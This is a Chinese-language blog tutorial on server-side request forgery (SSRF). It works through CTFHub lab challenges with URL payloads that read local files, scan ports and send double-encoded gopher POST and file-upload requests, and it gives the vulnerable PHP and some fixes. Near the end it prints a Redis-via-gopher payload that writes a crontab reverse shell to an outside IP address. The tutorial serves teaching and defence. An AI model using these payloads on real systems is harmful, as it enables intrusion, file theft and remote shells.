SSRF 服务端请求伪造

漏洞原理

这个漏洞就是它名字所说的 “服务端请求伪造”,该漏洞的攻击方式就是借助服务端去请求其内网的其他服务器造成攻击。

漏洞原理:服务端实现了可以访问其他服务器资源的功能且没有对目标地址进行过滤控制,导致攻击者可以借助该功能去访问内网服务器。

漏洞危害

  1. 前端网、服务器所在内网、服务器本地进行端口查找,获取一些服务的 banner 信息等。
  2. 攻击运行重新访问或服务器本地的其他应用程序,如 dis、mysql 等。
  3. 对内网 Web 应用进行指纹识别,识别企业内部资产。
  4. 攻击外网的应用,主要是使用 HTTP GET/POST 请求就可以实现的攻击,如 sql注入、文件上传等。
  5. 使用文件读取协议服务器本地文件等。
  6. 进行跳板攻击等。
  7. DoS攻击(请求大文件,始终保持连接keep-alive always)

漏洞利用

漏洞入口点就是”目标地址”,实现该功能的函数支持哪些通讯协议就可以利用哪些协议进行攻击。

常用通讯协议如下:

  • http/s://:探测内网主机存活、端口开放情况
  • gopher://:发送 GET 或 POST 请求;攻击内网应用,如 FastCGI、Redis
  • dict://:泄露安装软件版本信息,查看端口,操作内网 redis 访问等
  • file://:读取本地文件

靶场演示

靶场地址:CTFHub SSRF技能书

内网访问

1
/?url=http://127.0.0.1/flag.php

image-20220515182728971

读取文件

1
/?url=file:///var/www/html/flag.php

image-20220515183050259

端口扫描

1
/?url=dict://127.0.0.1:8257

image-20220515183313569
image-20220515183340839
image-20220515184315714
image-20220515184404441
image-20220515184423098

1
/?url=http://127.0.0.1:8257

image-20220515184553852

POST请求

index.php

1
url=file:///var/www/html/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (!isset($_REQUEST['url']))
{
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
//curl支持gopher协议,可通过此协议发送POST请求
?>

flag.php

1
?url=file:///var/www/html/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1")//获取IP地址,要求传输key值的IP地址是"127.0.0.1"才行
{
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key)
{
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">//POST传输数据
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

gopher 协议使用:

1
2
gopher://ip:port/_payload
gopher://127.0.0.1:80/_payload

构造数据包

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a7415f5f6efbdeb9fc0ec74306b236d6

拼接获取 Gopher 数据包:

1
2
3
4
5
6
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a7415f5f6efbdeb9fc0ec74306b236d6

URL编码:https://www.bejson.com/enc/urlencode/

这里在输入URL时解码了一次,又通过curl输出跳转,又解码了一次,所以需要对POST报文内容URL编码2次。

在第一次编码要把 %0A 全部改成 %0D0A%0A 是在 linux 系统中中代表换行符,在 windos 中是 %0D0A 代表换行符,但是网上的编码器大都是编码的 %0A ,所以我们需要改成 windos 能够识别的。

编码后:

1
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=a7415f5f6efbdeb9fc0ec74306b236d6

image-20220518232853020

上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1")//依旧要127.0.0.1
{
echo "Just View From 127.0.0.1";
return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0)//上传文件大于0即可得到flag
{
echo getenv("CTFHUB");
exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>

依旧使用 gopher协议,构造数据包(这里改前端,加个提交按钮,获取数据包)。

image-20220518235328809
image-20220519000007098

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /flag.php HTTP/1.1
Host: challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------30615965732783302828302128172
Content-Length: 375
Origin: http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------30615965732783302828302128172
Content-Disposition: form-data; name="file"; filename="text.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
-----------------------------30615965732783302828302128172
Content-Disposition: form-data; name="file"

提交查询
-----------------------------30615965732783302828302128172--

修改HOST为”127.0.0.1:80”,重复上关的编码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------30615965732783302828302128172
Content-Length: 375
Origin: http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------30615965732783302828302128172
Content-Disposition: form-data; name="file"; filename="text.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
-----------------------------30615965732783302828302128172
Content-Disposition: form-data; name="file"

提交查询
-----------------------------30615965732783302828302128172--
1
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:100.0)%2520Gecko/20100101%2520Firefox/100.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------30615965732783302828302128172%250D%250AContent-Length:%2520375%250D%250AOrigin:%2520http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-f3618cb7fceb51b1.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------30615965732783302828302128172%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522text.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%250D%250A%2509phpinfo();%250D%250A?%253E%250D%250A-----------------------------30615965732783302828302128172%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------30615965732783302828302128172--

image-20220519000232956

漏洞挖掘

这里其实就是实现了从其他服务器获取资源的功能,且这个其他服务的地址可控,就可以尝试。

容易出现的位置:

  1. 社交功能:获取超链接的标题分享内容等进行显示
  2. 转服务:通过URL地址把原地址的网页内容调优适合手机屏幕浏览
  3. 翻译:给网址翻译网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址或下载图片
  5. 图片/文章收藏功能:主要是其会取URL地址中的标题以及显示文本的内容作为以求一个好的用具体验
  6. 举办一场:会来判断它服务的一些命令可以继续执行,所以如果云可能会自己进行远程测试,就可以继续执行某些命令
  7. 网站采集、网站抓取的地方:一些网站会针对你输入的网址进行信息采集工作
  8. 函数数据库功能:数据库的比如mongodb的copyDatabase
  9. 邮件系统:例如接收邮件服务器地址
  10. 编码处理、属性信息处理、文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api以及其他扩展调用URL的功能:可以利用google语法和这些实现关键字去寻找SSRF漏洞。一些url中的关键字有:share、wap、url、link、src、source、target、 u、3g、display、sourceURl、imageURL、domain……
  12. 从远程服务器请求资源

漏洞修复

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的 文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引 起的问题
  3. 设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP)
  4. 限制请求的端口为 http 常用的端口,比如 80、443、8080、8090 6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
1
2
3
4
5
url=gopher://127.0.0.1:6379/_set mar "\n\n\n\n* * * * * root bash -i >& /dev/tcp/68.183.149.209/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
quit

SSRF 服务端请求伪造
https://liancccc.github.io/2024/03/15/技术/TOP10/SSRF 服务端请求伪造/
作者
守心
发布于
2024年3月15日
许可协议